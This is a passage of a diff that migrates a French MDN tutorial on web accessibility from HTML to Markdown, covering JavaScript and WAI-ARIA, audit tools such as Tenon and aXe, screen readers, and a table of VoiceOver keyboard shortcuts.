qu'HTML vous fournit.</p> +Le JavaScript a le même type de problèmes que le CSS concernant l'accessibilité — cela peut être désastreux pour l'accessibilité si mal utilisé, ou trop utilisé. Nous avions déjà abordé quelques problèmes d'accessibilité en rapport avec le JavaScript, principalement dans le champ de la sémantique HTML — vous devez toujours utiliser une sémantique HTML appropriée pour implémenter une fonctionnalité qu'importe où elle est disponible, par exemple utiliser des liens et des boutons de façon appropriée. N'utilisez pas les éléments `<div>` avec du code JavaScript pour simuler une fonctionnalité si c'est possible — c'est une source d'erreur, et ça fonctionne mieux d'utiliser les fonctionnalités disponibles qu'HTML vous fournit. -<h4 id="Fonctionnalité_simple">Fonctionnalité simple</h4> +#### Fonctionnalité simple -<p>Normalement, une fonctionnalité simple doit marcher uniquement avec le HTML en place — le JavaScript ne doit pas être utilisé que pour améliorer la fonctionnalité, par pour la construire en entier. Les bons usages de JavaScript incluent :</p> +Normalement, une fonctionnalité simple doit marcher uniquement avec le HTML en place — le JavaScript ne doit pas être utilisé que pour améliorer la fonctionnalité, par pour la construire en entier. Les bons usages de JavaScript incluent : -<ul> - <li>Fournir une validation de formulaire côté client, qui informe rapidement les utilisateurs des problèmes avec leurs entrées dans le formulaire, sans qu'ils aient à attendre que le serveur vérifie les données. Si ça n'est pas disponible, le formulaire marchera toujours, mais la validation sera peut-être plus lente.</li> - <li>Fournir des contrôles personnalisés pour les <code><video></code>s HTML5 qui sont accessibles pour les utilisateurs uniquement au clavier (comme nous l'avons dit auparavant, les contrôles par défaut de navigateur ne sont pas accessibles au clavier dans la plupart des navigateurs).</li> -</ul> +- Fournir une validation de formulaire côté client, qui informe rapidement les utilisateurs des problèmes avec leurs entrées dans le formulaire, sans qu'ils aient à attendre que le serveur vérifie les données. Si ça n'est pas disponible, le formulaire marchera toujours, mais la validation sera peut-être plus lente. +- Fournir des contrôles personnalisés pour les `<video>`s HTML5 qui sont accessibles pour les utilisateurs uniquement au clavier (comme nous l'avons dit auparavant, les contrôles par défaut de navigateur ne sont pas accessibles au clavier dans la plupart des navigateurs). -<div class="note"> -<p><strong>Note :</strong> <a href="http://webaim.org/techniques/javascript/">Accessible JavaScript</a> de WebAIM fourni des renseignements approfondis à propos des considérations pour du JavaScript accessible.</p> -</div> +> **Note :** [Accessible JavaScript](http://webaim.org/techniques/javascript/) de WebAIM fourni des renseignements approfondis à propos des considérations pour du JavaScript accessible. -<p>Les implémentations JavaScript plus complexes peuvent mener à des problèmes avec l'accessibilité — vous devez faire ce que vous pouvez. par exemple, cela ne serait pas raisonnable d'attendre de vous que vous fassiez un jeu complexe 3D écrit avec <a href="/fr/Apprendre/WebGL">WebGL</a> accessible à 100% pour une personne aveugle, mais vous pouvez implémenter des <a href="/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">contrôles clavier</a> pour qu'il soit utilisable pour un utilisateur sans souris, et réaliser une palette de couleurs suffisamment contrastée pour être utilisable par les personnes avec des lacunes pour percevoir les couleurs.</p> +Les implémentations JavaScript plus complexes peuvent mener à des problèmes avec l'accessibilité — vous devez faire ce que vous pouvez. par exemple, cela ne serait pas raisonnable d'attendre de vous que vous fassiez un jeu complexe 3D écrit avec [WebGL](/fr/Apprendre/WebGL) accessible à 100% pour une personne aveugle, mais vous pouvez implémenter des [contrôles clavier](/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard) pour qu'il soit utilisable pour un utilisateur sans souris, et réaliser une palette de couleurs suffisamment contrastée pour être utilisable par les personnes avec des lacunes pour percevoir les couleurs. -<h4 id="Fonctionnalité_complexe">Fonctionnalité complexe</h4> +#### Fonctionnalité complexe -<p>L'un des domaines de problématique principal pour l'accessibilité c'est les applis complexes qui nécessitent des contrôles de formulaires compliqués (comme les sélecteurs de date) et le contenu dynamique qui se met souvent à jour et de façon incrémentale.</p> +L'un des domaines de problématique principal pour l'accessibilité c'est les applis complexes qui nécessitent des contrôles de formulaires compliqués (comme les sélecteurs de date) et le contenu dynamique qui se met souvent à jour et de façon incrémentale. -<p>Les contrôles de formulaire compliqués non natifs sont problématiques parce qu'ils ont tendance à nécessiter beaucoup de <code><div></code>s imbriquées, et le navigateur ne sait pas quoi faire par défaut avec elles. Si vous les inventer vous-même, vous devez vous assurer qu'ils sont accessibles par le clavier ; si vous utilisez des structures externes, revoyez en profondeur les options disponibles pour voir à quel point elles sont accessibles avant de vous plonger dedans. <a href="http://getbootstrap.com/">Bootstrap</a> à l'air d'être assez bon pour l'accessibilité, par exemple, bien que <a href="https://www.sitepoint.com/making-bootstrap-accessible/">Making Bootstrap a Little More Accessible</a> de Rhiana Heath aborde certain de ses problèmes (principalement en rapport avec le contraste des couleurs), et examine certaines solutions.</p> +Les contrôles de formulaire compliqués non natifs sont problématiques parce qu'ils ont tendance à nécessiter beaucoup de `<div>`s imbriquées, et le navigateur ne sait pas quoi faire par défaut avec elles. Si vous les inventer vous-même, vous devez vous assurer qu'ils sont accessibles par le clavier ; si vous utilisez des structures externes, revoyez en profondeur les options disponibles pour voir à quel point elles sont accessibles avant de vous plonger dedans. [Bootstrap](http://getbootstrap.com/) à l'air d'être assez bon pour l'accessibilité, par exemple, bien que [Making Bootstrap a Little More Accessible](https://www.sitepoint.com/making-bootstrap-accessible/) de Rhiana Heath aborde certain de ses problèmes (principalement en rapport avec le contraste des couleurs), et examine certaines solutions. -<p>Le contenu dynamique régulièrement mis à jour peut-être un problème parce que les utilisateurs de lecteur d'écran peuvent le manquer, spécialement si les mises à jour sont inattendues. Si vous avez une appli en single-page avec un contenu principal dans un panneau qui est régulièrement mis à jour en utilisant <a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a>, un utilisateur utilisant un lecteur d'écran peut rater ces mises à jour.</p> +Le contenu dynamique régulièrement mis à jour peut-être un problème parce que les utilisateurs de lecteur d'écran peuvent le manquer, spécialement si les mises à jour sont inattendues. Si vous avez une appli en single-page avec un contenu principal dans un panneau qui est régulièrement mis à jour en utilisant [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) ou [Fetch](/fr/docs/Web/API/Fetch_API), un utilisateur utilisant un lecteur d'écran peut rater ces mises à jour. -<h4 id="WAI-ARIA">WAI-ARIA</h4> +#### WAI-ARIA -<p>Avez-vous besoin d'utiliser une fonctionnalité complexe, ou à la place vous le faîte avec une bonne vieille sémantique HTML ? Si vous avez besoin de complexité, vous devriez songer à utiliser <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> (Accessible Rich Internet Applications), une spécification qui fournit une sémantique (sous la forme des nouveaux attributs HTML) pour les objets comme les contrôles complexes de formulaire et les panneaux mis à jour qui peuvent être compris par la plupart des navigateurs et les lecteurs d'écran.</p> +Avez-vous besoin d'utiliser une fonctionnalité complexe, ou à la place vous le faîte avec une bonne vieille sémantique HTML ? Si vous avez besoin de complexité, vous devriez songer à utiliser [WAI-ARIA](https://www.w3.org/TR/wai-aria-1.1/) (Accessible Rich Internet Applications), une spécification qui fournit une sémantique (sous la forme des nouveaux attributs HTML) pour les objets comme les contrôles complexes de formulaire et les panneaux mis à jour qui peuvent être compris par la plupart des navigateurs et les lecteurs d'écran. -<p>Pour traiter avec les widgets complexes de formulaire, vous devez utiliser les attributs ARIA comme <code>roles</code> pour déclarer quel rôle les différents éléments on dans un widget (par exemple, est-ce qu'ils sont un onglet, ou un panneau ?), <code>aria-disabled</code> pour dire si un contrôle est désactivé ou pas, etc.</p> +Pour traiter avec les widgets complexes de formulaire, vous devez utiliser les attributs ARIA comme `roles` pour déclarer quel rôle les différents éléments on dans un widget (par exemple, est-ce qu'ils sont un onglet, ou un panneau ?), `aria-disabled` pour dire si un contrôle est désactivé ou pas, etc. -<p>Pour traiter avec les zones de contenu qui sont régulièrement mises à jour, vous pouvez utiliser l'attribut <code>aria-live</code>, qui identifie une zone mise à jour. Sa valeur indique avec quelle urgence le lecteur d'écran doit faire la lecture :</p> +Pour traiter avec les zones de contenu qui sont régulièrement mises à jour, vous pouvez utiliser l'attribut `aria-live`, qui identifie une zone mise à jour. Sa valeur indique avec quelle urgence le lecteur d'écran doit faire la lecture : -<ul> - <li><code>off</code> : Par défaut. Les mises à jour ne seront pas annoncées.</li> - <li><code>polite</code> : Les mises à jour sont annoncées seulement si l'utilisateur est inactif.</li> - <li><code>assertive</code> : Les mises à jour sont annoncées à l'utilisateur aussi tôt que possible.</li> - <li><code>rude</code> : Les mises à jour sont annoncées immédiatement, même si cela interrompt l'utilisateur.</li> -</ul> +- `off` : Par défaut. Les mises à jour ne seront pas annoncées. +- `polite` : Les mises à jour sont annoncées seulement si l'utilisateur est inactif. +- `assertive` : Les mises à jour sont annoncées à l'utilisateur aussi tôt que possible. +- `rude` : Les mises à jour sont annoncées immédiatement, même si cela interrompt l'utilisateur. -<p>Voici un exemple :</p> +Voici un exemple : -<pre class="brush: html"><p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p></pre> +```html +<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p> +``` -<p>Vous pouvez voir un exemple en action sur l'exemple <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">ARIA (Accessible Rich Internet Applications) Live Regions</a> de Freedom Scientific — le paragraphe surligné doit mettre à jour son contenu toutes les 10 secondes, et un lecteur d'écran doit le lire à l'utilisateur. <a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm">ARIA Live Regions - Atomic</a> apporte un autre exemple utile.</p> +Vous pouvez voir un exemple en action sur l'exemple [ARIA (Accessible Rich Internet Applications) Live Regions](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm) de Freedom Scientific — le paragraphe surligné doit mettre à jour son contenu toutes les 10 secondes, et un lecteur d'écran doit le lire à l'utilisateur. [ARIA Live Regions - Atomic](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm) apporte un autre exemple utile. -<p>Nous n'avons pas de place pour couvrir WAI-ARIA en détail ici, vous pouvez en apprendre beaucoup plus à ce propos sur <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a>.</p> +Nous n'avons pas de place pour couvrir WAI-ARIA en détail ici, vous pouvez en apprendre beaucoup plus à ce propos sur [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). -<h2 id="Les_outils_d'accessibilité">Les outils d'accessibilité</h2> +## Les outils d'accessibilité -<p>Maintenant que nous avons couvers les considérations de l'accessibilité pour les différentes technologies web, incluant quelques techniques de test (comme la navigation au clavier et le vérificateur de contraste de couleur), tournons-nous maintenant vers d'autres outils que vous pouvez utiliser pour faire des tests d'accessibilité.</p> +Maintenant que nous avons couvers les considérations de l'accessibilité pour les différentes technologies web, incluant quelques techniques de test (comme la navigation au clavier et le vérificateur de contraste de couleur), tournons-nous maintenant vers d'autres outils que vous pouvez utiliser pour faire des tests d'accessibilité. -<h3 id="Les_outils_d'audit">Les outils d'audit</h3> +### Les outils d'audit -<p>Il y a plusieurs outils d'audit disponibles que vous pouvez placer sur vos pages web, lesquels les examinerons et retournerons une liste de problèmes d'accessibilité présents sur la page. A titre d'exemple :</p> +Il y a plusieurs outils d'audit disponibles que vous pouvez placer sur vos pages web, lesquels les examinerons et retournerons une liste de problèmes d'accessibilité présents sur la page. A titre d'exemple : -<ul> - <li><a href="https://tenon.io">Tenon </a>: une assez bonne appli en ligne qui traverse le code à une URL fournie et qui retourne les résultats sur les erreurs d'acessibilité comprenant les indicateurs, ds erreurs spécifiques accompagnés des critères WCAG qu'elles affectent, et des suggestion de résolutions.</li> - <li><a href="http://khan.github.io/tota11y/">tota11y</a> : Un outil d'accessibilité de la Khan Academy qui prend la forme d'une librairie JavaScript que vous attachez à votre page pour apporter plusieurs outils d'accessibilité.</li> - <li><a href="http://wave.webaim.org/">Wave</a>: Un autre outil en ligne de test d'accessibilité qui accepte une adresse web et retourne une utile vue annotée de la page avec les problèmes d'accessibilité surlignés.</li> -</ul> +- [Tenon ](https://tenon.io): une assez bonne appli en ligne qui traverse le code à une URL fournie et qui retourne les résultats sur les erreurs d'acessibilité comprenant les indicateurs, ds erreurs spécifiques accompagnés des critères WCAG qu'elles affectent, et des suggestion de résolutions. +- [tota11y](http://khan.github.io/tota11y/) : Un outil d'accessibilité de la Khan Academy qui prend la forme d'une librairie JavaScript que vous attachez à votre page pour apporter plusieurs outils d'accessibilité. +- [Wave](http://wave.webaim.org/): Un autre outil en ligne de test d'accessibilité qui accepte une adresse web et retourne une utile vue annotée de la page avec les problèmes d'accessibilité surlignés. -<p>Observons un exemple, en utilisant Tenon.</p> +Observons un exemple, en utilisant Tenon. -<ol> - <li>Aller sur la <a href="https://tenon.io">page d'accueil de Tenon</a>.</li> - <li>Entrez l'URL de notre exemple de <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a> dans l'entrée texte en haut de la page (ou l'URL d'une autre page que vous aimeriez analyser) et appuyez sur <em>Analyse your Webpage</em>.</li> - <li>Défilez vers le bas jusqu'à que vous trouviez la section d'erreur/signalement, comme montré ci-dessous.</li> -</ol> +1. Aller sur la [page d'accueil de Tenon](https://tenon.io). +2. Entrez l'URL de notre exemple de [bad-semantics.html](http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html) dans l'entrée texte en haut de la page (ou l'URL d'une autre page que vous aimeriez analyser) et appuyez sur _Analyse your Webpage_. +3. Défilez vers le bas jusqu'à que vous trouviez la section d'erreur/signalement, comme montré ci-dessous. -<p><img alt="" src="tenon-screenshot.png"></p> + -<p>Il y a également des options que vous pouvez examiner (voir le lien <em>Show Options</em> vers le haut de la page), ainsi qu'une API pour utiliser Tenon comme un programme.</p> +Il y a également des options que vous pouvez examiner (voir le lien _Show Options_ vers le haut de la page), ainsi qu'une API pour utiliser Tenon comme un programme. -<div class="note"> -<p><strong>Note :</strong> De tels outils ne sont pas suffisant pour résoudre tous vos problèmes d'accessibilité en tant que tel. Vous devrez les combiner, savoir et expérience, test utilisateur, etc. pour vous faire une image exacte.</p> -</div> +> **Note :** De tels outils ne sont pas suffisant pour résoudre tous vos problèmes d'accessibilité en tant que tel. Vous devrez les combiner, savoir et expérience, test utilisateur, etc. pour vous faire une image exacte. -<h3 id="Les_outils_d'automatisation">Les outils d'automatisation</h3> +### Les outils d'automatisation -<p><a href="https://www.deque.com/products/axe/">Deque's aXe tool</a> va un peu plus loin que les outils d'audit que nous avons mentionné plus haut. Comme les autres, il vérifie les pages et retourne des erreurs d'accessibilité. Sa forme immédiate la plus utile est sûrement son extension navigateur :</p> +[Deque's aXe tool](https://www.deque.com/products/axe/) va un peu plus loin que les outils d'audit que nous avons mentionné plus haut. Comme les autres, il vérifie les pages et retourne des erreurs d'accessibilité. Sa forme immédiate la plus utile est sûrement son extension navigateur : -<ul> - <li><a href="http://bitly.com/aXe-Chrome">aXe pour Chrome</a></li> - <li><a href="http://bit.ly/aXe-Firefox">aXe pour Firefox</a></li> -</ul> +- [aXe pour Chrome](http://bitly.com/aXe-Chrome) +- [aXe pour Firefox](http://bit.ly/aXe-Firefox) -<p>Cela ajoute un onglet accessibilité aux outils de développeur du navigateur, nous avons installé la version pour Firefox, puis nous l'avons utilisé pour auditer notre exemple <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a>. Nous obtenons les résultats suivants :</p> +Cela ajoute un onglet accessibilité aux outils de développeur du navigateur, nous avons installé la version pour Firefox, puis nous l'avons utilisé pour auditer notre exemple [bad-table.html](http://mdn.github.io/learning-area/accessibility/html/bad-table.html). Nous obtenons les résultats suivants : -<p><img alt="" src="aXe-screenshot.png"></p> + -<p>aXe est également installable en utilisant <code>npm</code>, et peut-être intégré avec des exécuteurs de tâche comme <a href="http://gruntjs.com/">Grunt</a> et <a href="http://gulpjs.com/">Gulp</a>, des frameworks d'automatisation comme <a href="http://www.seleniumhq.org/">Selenium</a> et <a href="https://cucumber.io/">Cucumber</a>, des framework de test unitaire comme <a href="http://jasmine.github.io/">Jasmin</a>, et d'autres encore (une fois encore, voir la <a href="https://www.deque.com/products/axe/">page principale d'aXe</a> pour plus de détails).</p> +aXe est également installable en utilisant `npm`, et peut-être intégré avec des exécuteurs de tâche comme [Grunt](http://gruntjs.com/) et [Gulp](http://gulpjs.com/), des frameworks d'automatisation comme [Selenium](http://www.seleniumhq.org/) et [Cucumber](https://cucumber.io/), des framework de test unitaire comme [Jasmin](http://jasmine.github.io/), et d'autres encore (une fois encore, voir la [page principale d'aXe](https://www.deque.com/products/axe/) pour plus de détails). -<h3 id="Les_lecteurs_d'écran">Les lecteurs d'écran</h3> +### Les lecteurs d'écran -<p>Il faut définitivement tester avec un lecteur d'écran pour s'habituer à comment les personnes malvoyantes utilisent le Web. Il y a plusieurs lecteurs d'écran disponible : </p> +Il faut définitivement tester avec un lecteur d'écran pour s'habituer à comment les personnes malvoyantes utilisent le Web. Il y a plusieurs lecteurs d'écran disponible : -<ul> - <li>Certain sont des produits commerciaux payants, comme <a href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) et <a href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows).</li> - <li>Certains sont des produits gratuits, comme <a href="http://www.nvaccess.org/">NVDA</a> (Windows), <a href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows, et Mac OS X), et <a href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li> - <li>Certains sont compris dans le système d'exploitation, comme like <a href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X et iOS), <a href="http://www.chromevox.com/">ChromeVox</a> (sur les Chromebooks), et <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li> -</ul> +- Certain sont des produits commerciaux payants, comme [JAWS](http://www.freedomscientific.com/Products/Blindness/JAWS) (Windows) et [Window Eyes](http://www.gwmicro.com/window-eyes/) (Windows). +- Certains sont des produits gratuits, comme [NVDA](http://www.nvaccess.org/) (Windows), [ChromeVox](http://www.chromevox.com/) (Chrome, Windows, et Mac OS X), et [Orca](https://wiki.gnome.org/Projects/Orca) (Linux). +- Certains sont compris dans le système d'exploitation, comme like [VoiceOver](http://www.apple.com/accessibility/osx/voiceover/) (Mac OS X et iOS), [ChromeVox](http://www.chromevox.com/) (sur les Chromebooks), et [TalkBack](https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback) (Android). -<p>La plupart du temps, les lecteurs d'écran sont des applis séparées, qui s'exécutent sur le système d'exploitation hôte et peuvent lire des pages web, mais aussi du texte dans d'autres appli. Ce n'est pas toujours le cas (ChromeVox est une extension navigateur), mais ça l'est souvent. Les lecteurs d'écran ont tendance à agir de manière légèrement différente et ont des contrôles différents, donc vous devrez consulter la documentation pour le lecteur d'écran que vous avez choisi pour obtenir tous les détails — cela dit, il fonctionne tous à peu près de la même manière.</p> +La plupart du temps, les lecteurs d'écran sont des applis séparées, qui s'exécutent sur le système d'exploitation hôte et peuvent lire des pages web, mais aussi du texte dans d'autres appli. Ce n'est pas toujours le cas (ChromeVox est une extension navigateur), mais ça l'est souvent. Les lecteurs d'écran ont tendance à agir de manière légèrement différente et ont des contrôles différents, donc vous devrez consulter la documentation pour le lecteur d'écran que vous avez choisi pour obtenir tous les détails — cela dit, il fonctionne tous à peu près de la même manière. -<p>Commençons à effectuer quelques tests avec deux lecteurs d'écran différents pour vous donner une idée générale de comment ils fonctionnent et de comment tester avec eux.</p> +Commençons à effectuer quelques tests avec deux lecteurs d'écran différents pour vous donner une idée générale de comment ils fonctionnent et de comment tester avec eux. -<div class="note"> -<p><strong>Note :</strong> <a href="http://webaim.org/techniques/screenreader/">Designing for Screen Reader Compatibility</a> de WebAIM fournit des informations utiles à propos de l'utilisation des lecteurs d'écran et qu'est-ce qui est le plus efficace pour les lecteurs d'écran. Aller également voir <a href="http://webaim.org/projects/screenreadersurvey6/#used">Screen Reader User Survey #6 Results</a> pour des statistiques intéressantes concernant l'utilisation de lecteur d'écran.</p> -</div> +> **Note :** [Designing for Screen Reader Compatibility](http://webaim.org/techniques/screenreader/) de WebAIM fournit des informations utiles à propos de l'utilisation des lecteurs d'écran et qu'est-ce qui est le plus efficace pour les lecteurs d'écran. Aller également voir [Screen Reader User Survey #6 Results](http://webaim.org/projects/screenreadersurvey6/#used) pour des statistiques intéressantes concernant l'utilisation de lecteur d'écran. -<h4 id="VoiceOver">VoiceOver</h4> +#### VoiceOver -<p>VoiceOver (VO) est gratuit avec votre Mac/iPhone/iPad, donc c'est utile pour tester sur votre ordinateur/mobile si vous utilisez des produits Apple. Nous le testerons sur Mac OS X sur un MacBook Pro.</p> +VoiceOver (VO) est gratuit avec votre Mac/iPhone/iPad, donc c'est utile pour tester sur votre ordinateur/mobile si vous utilisez des produits Apple. Nous le testerons sur Mac OS X sur un MacBook Pro. -<p>Pour le démarrer, pressez Cmd + Fn + F5. Si vous n'avez jamais utilisé VO auparavant, vous obtiendrez un écran de bienvenue où vous pouvez choisir de démarrer VO ou de ne pas le démarrer, et vous parcourrez un tutoriel utile pour apprendre à comment l'utiliser. Pour l'arrêter, pressez Cmd + Fn + F5 à nouveau.</p> +Pour le démarrer, pressez Cmd + Fn + F5. Si vous n'avez jamais utilisé VO auparavant, vous obtiendrez un écran de bienvenue où vous pouvez choisir de démarrer VO ou de ne pas le démarrer, et vous parcourrez un tutoriel utile pour apprendre à comment l'utiliser. Pour l'arrêter, pressez Cmd + Fn + F5 à nouveau. -<div class="note"> -<p><strong>Note :</strong> Vous devriez parcourir le tutoriel au moins une fois — il est vraiment très utile pour en apprendre à propos de VO.</p> -</div> +> **Note :** Vous devriez parcourir le tutoriel au moins une fois — il est vraiment très utile pour en apprendre à propos de VO. -<p>Lorsque VO est démarré, l'affichage ressemblera à peu près à cela, mais vous verrez une boîte noire en bas à gauche de l'écran qui contient l'information sur quoi est-ce que VO est actuellement sélectionné. La sélection courante sera également mise en avant, avec une bordure noire — cette mise en avant est connue comme le <strong>curseur VO</strong>.</p> +Lorsque VO est démarré, l'affichage ressemblera à peu près à cela, mais vous verrez une boîte noire en bas à gauche de l'écran qui contient l'information sur quoi est-ce que VO est actuellement sélectionné. La sélection courante sera également mise en avant, avec une bordure noire — cette mise en avant est connue comme le **curseur VO**. -<p><img alt="" src="voiceover.png"></p> + -<p>Pour utiliser VO, vous aller beaucoup utiliser le "modificateur VO" — c'est une touche ou une combinaison de touches que vous devez presser en plus de l'actuel raccourci VO pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leur propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de VO, le modificateur peut aussi être VerrMaj, ou Ctrl + Option.</p> +Pour utiliser VO, vous aller beaucoup utiliser le "modificateur VO" — c'est une touche ou une combinaison de touches que vous devez presser en plus de l'actuel raccourci VO pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leur propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de VO, le modificateur peut aussi être VerrMaj, ou Ctrl + Option. -<p>VO a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "VO" veut dire "le modificateur VoiceOver".</p> +VO a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "VO" veut dire "le modificateur VoiceOver". <table class="standard-table"> - <caption> - <p>Les raccourcis clavier VoiceOver les plus communs</p> - </caption> - <thead> - <tr> - <th scope="col">Raccourci clavier</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>VO + Touches du curseur</td> - <td>Déplace le curseur VO vers le haut, la droite, le bas, la gauche.</td> - </tr> - <tr> - <td>VO + Barre espace</td> - <td> - <p>Sélectionne/active les éléments mis en avant par le curseur VO. Cela inclut les items sélectionnés dans le Rotor (voir plus bas).</p> - </td> - </tr> - <tr> - <td>VO + Shift + curseur bas</td> - <td> - <p>Se déplacer dans un groupe d'éléments (comme un tableau HTML, ou un formulaire, etc.) Une fois dans un groupe vous pouvez vous déplacer et sélectionner les éléments à l'intérieur de ce groupe en utilisant les commandes ci-dessus normalement.</p> - </td> - </tr> - <tr> - <td>VO + Shift + curseur haut</td> - <td>Sortir d'un groupe.</td> - </tr> - <tr> - <td>VO + C</td> - <td> - <p>(à l'intérieur d'un tableau) lire l'entête de la colonne courante.</p> - </td> - </tr> - <tr> - <td>VO + R</td> - <td>(à l'intérieur d'un tableau) lire l'entête de la ligne courante.</td> - </tr> - <tr> - <td>VO + C + C (deux C d'affilé)</td> - <td>(à l'intérieur d'un tableau) lire toute la colonne courante, incluant l'entête.</td> - </tr> - <tr> - <td>VO + R + R (deux R d'affilé)</td> - <td> - <p>(à l'intérieur d'un tableau) lire toute la ligne courante, incluant les entêtes qui correspondent à chacune des cellules.</p> - </td> - </tr> - <tr> - <td>VO + curseur gauche, VO + curseur droit</td> - <td>(à l'intérieur d'options horizontales, comme un sélecteur de date ou de temps) Se déplacer entre les options</td> - </tr> - <tr> - <td>VO + curseur haut, VO + curseur bas</td> - <td>(à l'intérieur d'options horizontales, comme un sélecteur de date ou de temps) Modifier l'option courante.</td> - </tr> - <tr> - <td>VO + U</td> - <td> - <p>Utiliser le rotor, qui affiche des listes de rubriques, de liens, de contrôles de formulaires, etc. pour une navigation simplifiée.</p> - </td> - </tr> - <tr> - <td>VO + curseur gauche, VO + curseur droit</td> - <td> - <p>(à l'intérieur du Rotor) Se déplacer ente les différentes listes disponibles dans le Rotor.</p> - </td> - </tr> - <tr> - <td>VO + curseur haut, VO + curseur bas</td> - <td> - <p>(à l'intérieur du Rotor) Se déplacer entre les différents éléments dans la liste courante du Rotor.</p> - </td> - </tr> - <tr> - <td>Esc</td> - <td>(à l'intérieur du Rotor) Sortir du Rotor.</td> - </tr> - <tr> - <td>Ctrl</td> - <td>(Lorsque VO parle) Arrêter/Reprendre l'allocution.</td> - </tr> - <tr> - <td>VO + Z</td> - <td>Relance la dernière partie de l'allocution.</td> - </tr> - <tr> - <td>VO + D</td> - <td> - <p>Aller dans le Dock du Mac, pour que vous puissiez sélectionner des applis à exécuter.</p> - </td> - </tr> - </tbody> + <caption> + <p>Les raccourcis clavier VoiceOver les plus communs</p> + </caption> + <thead> + <tr> + <th scope="col">Raccourci clavier</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>VO + Touches du curseur</td> + <td>Déplace le curseur VO vers le haut, la droite, le bas, la gauche.</td> + </tr> + <tr> + <td>VO + Barre espace</td> + <td> + <p> + Sélectionne/active les éléments mis en avant par le curseur VO. Cela + inclut les items sélectionnés dans le Rotor (voir plus bas). + </p> + </td> + </tr> + <tr> + <td>VO + Shift + curseur bas</td> + <td> + <p> + Se déplacer dans un groupe d'éléments (comme un tableau HTML, ou un + formulaire, etc.) Une fois dans un groupe vous pouvez vous déplacer et + sélectionner les éléments à l'intérieur de ce groupe en utilisant les + commandes ci-dessus normalement. + </p> + </td> + </tr> + <tr> + <td>VO + Shift + curseur haut</td> + <td>Sortir d'un groupe.</td> + </tr> + <tr> + <td>VO + C</td> + <td> + <p> + (à l'intérieur d'un tableau) lire l'entête de la colonne courante. + </p> + </td> + </tr> + <tr> + <td>VO + R</td> + <td>(à l'intérieur d'un tableau) lire l'entête de la ligne courante.</td> + </tr> + <tr> + <td>VO + C + C (deux C d'affilé)</td> + <td> + (à l'intérieur d'un tableau) lire toute la colonne courante, incluant + l'entête. + </td> + </tr> + <tr> + <td>VO + R + R (deux R d'affilé)</td> + <td> + <p> + (à l'intérieur d'un tableau) lire toute la ligne courante, incluant + les entêtes qui correspondent à chacune des cellules. + </p> + </td> + </tr> + <tr> + <td>VO + curseur gauche, VO + curseur droit</td> + <td> + (à l'intérieur d'options horizontales, comme un sélecteur de date ou de + temps) Se déplacer entre les options + </td> + </tr> + <tr> + <td>VO + curseur haut, VO + curseur bas</td> + <td> + (à l'intérieur d'options horizontales, comme un sélecteur de date ou de + temps) Modifier l'option courante. + </td> + </tr> + <tr> + <td>VO + U</td> + <td> + <p> + Utiliser le rotor, qui affiche des listes de rubriques, de liens, de + contrôles de formulaires, etc. pour une navigation simplifiée. + </p> + </td> + </tr> + <tr> + <td>VO + curseur gauche, VO + curseur droit</td> + <td> + <p> + (à l'intérieur du Rotor) Se déplacer ente les différentes listes + disponibles dans le Rotor. + </p> + </td> + </tr> + <tr> + <td>VO + curseur haut, VO + curseur bas</td> + <td> + <p> + (à l'intérieur du Rotor) Se déplacer entre les différents éléments + dans la liste courante du Rotor. + </p> + </td> + </tr> + <tr> + <td>Esc</td> + <td>(à l'intérieur du Rotor) Sortir du Rotor.</td> + </tr> + <tr> + <td>Ctrl</td> + <td>(Lorsque VO parle) Arrêter/Reprendre l'allocution.</td> + </tr> + <tr> + <td>VO + Z</td> + <td>Relance la dernière partie de l'allocution.</td> + </tr> + <tr> + <td>VO + D</td> + <td> + <p> + Aller dans le Dock du Mac, pour que vous puissiez sélectionner des + applis à exécuter. + </p> + </td> + </tr> + </tbody> </table> -<p>Cela peut paraître comme beaucoup de commandes, mais pas tant que ça que vous vous y habituez, et VO vous rappelle régulièrement quels commandes utiliser dans quels cas. Essayer de tester VO maintenant ; vous pouvez dorénavant essayer de tester certains de nos exemples dans la section {{anch("Screenreader testing")}}.</p> +Cela peut paraître comme beaucoup de commandes, mais pas tant que ça que vous vous y habituez, et VO vous rappelle régulièrement quels commandes utiliser dans quels cas. Essayer de tester VO maintenant 